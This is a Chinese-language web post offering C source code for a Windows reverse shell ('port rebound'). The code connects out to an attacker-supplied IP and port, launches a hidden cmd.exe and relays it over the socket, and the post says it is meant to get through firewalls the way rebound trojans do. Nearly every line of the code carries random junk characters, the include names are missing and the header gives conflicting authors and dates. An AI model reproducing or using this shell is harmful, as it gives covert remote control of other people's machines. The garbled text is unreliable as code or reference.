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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 4\3Z$%2^LZ  
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/* ============================== N\rbnr  
Rebound port in Windows NT _8S!w>$)  
By wind,2006/7 0:Xvch0  
===============================*/ OT+LQ TE  
#include :2}zovsdj  
#include S-GcH  
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#pragma comment(lib,"wsock32.lib") LJ9^:U  
}5\F<b^@Y  
void OutputShell(); (z#qkKL{^  
SOCKET sClient; y^?7de}  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Z%k)'%_   
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void main(int argc,char **argv) Bi9 S1 p  
{ l@%MS\{  
WSADATA stWsaData; YRqIC -_  
int nRet; uD_iyK0,  
SOCKADDR_IN stSaiClient,stSaiServer; "1t%J7c_  
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if(argc != 3) d[J+):aW  
{ uPhFBD7  
printf("Useage:\n\rRebound DestIP DestPort\n"); :>]= YE  
return; -r7*C :E  
} K} LmU{/t/  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 7' ]n_-fu  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); j@ lHgis  
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stSaiClient.sin_family = AF_INET; 2Gd.B/L6  
stSaiClient.sin_port = htons(0); 'gI q_t|^  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); oSq4g{xvMH  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) . _Bejh  
{ E9i M-Lw  
printf("Bind Socket Failed!\n"); 1YL6:5n  
return; Yxp.`  
} x4Q*~,n  
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stSaiServer.sin_family = AF_INET; PRg^E4  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); &'Pwz  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); hCS|(8g  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Js.2R$o =*  
{ ihS;q6ln  
printf("Connect Error!"); wylbs@  
return; qj/ pd 7\  
} -{n2^vvF  
OutputShell(); ge %ytrst  
} z|E/pm$^  
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void OutputShell() *mwHuGbZed  
{ d e)7_pCF|  
char szBuff[1024]; ;/l$&:  
SECURITY_ATTRIBUTES stSecurityAttributes; _~]~ssn,1  
OSVERSIONINFO stOsversionInfo; 9%T~^V%T7  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; }coSMTMv6  
STARTUPINFO stStartupInfo; fyaiRn9/  
char *szShell; /%fBkA#n  
PROCESS_INFORMATION stProcessInformation; bis}zv^%v  
unsigned long lBytesRead; {xJq F4  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); M$iDaEu-  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); BWRAz*V  
stSecurityAttributes.lpSecurityDescriptor = 0; :Yeo*v9  
stSecurityAttributes.bInheritHandle = TRUE; lV924mh  
YW9r'{(D(I  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); iYJ:P  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); <?yf<G'$  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); F<H[-k*t/  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Av6=q=D  
stStartupInfo.wShowWindow = SW_HIDE; HmlE Cx  
stStartupInfo.hStdInput = hReadPipe; ])Rs.Y{Q5  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; VAPRI\uM;  
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GetVersionEx(&stOsversionInfo); qM}Uk3N0  
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switch(stOsversionInfo.dwPlatformId) b/;!yOF  
{ +c'b=n9j  
case 1: uzG{jc^  
szShell = "command.com"; NEp )V'  
break; gJ;jh7e@  
default: d+DdDr  
szShell = "cmd.exe"; CWKN0HB  
break; Zfwhg4G~  
} vfBIQfH  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); k_ d)  
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send(sClient,szMsg,77,0); 9NzK1V0X  
while(1) _%M+!Ltz  
{ 6WI-ZEVp&  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ^<u9I5?  
if(lBytesRead) p>x[:*  
{ xwvg @  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); EY+/ foP  
send(sClient,szBuff,lBytesRead,0); <7  
} {p.D E  
else 3QM;K^$  
{ d}B_ wz'  
lBytesRead=recv(sClient,szBuff,1024,0); B"; >zF  
if(lBytesRead<=0) break; MX*T.TG8  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 0'm$hU}  
} 4 H 4W  
} "!w$7|% T  
,^Ug[pGG-  
return; ^ &UezDTS  
}
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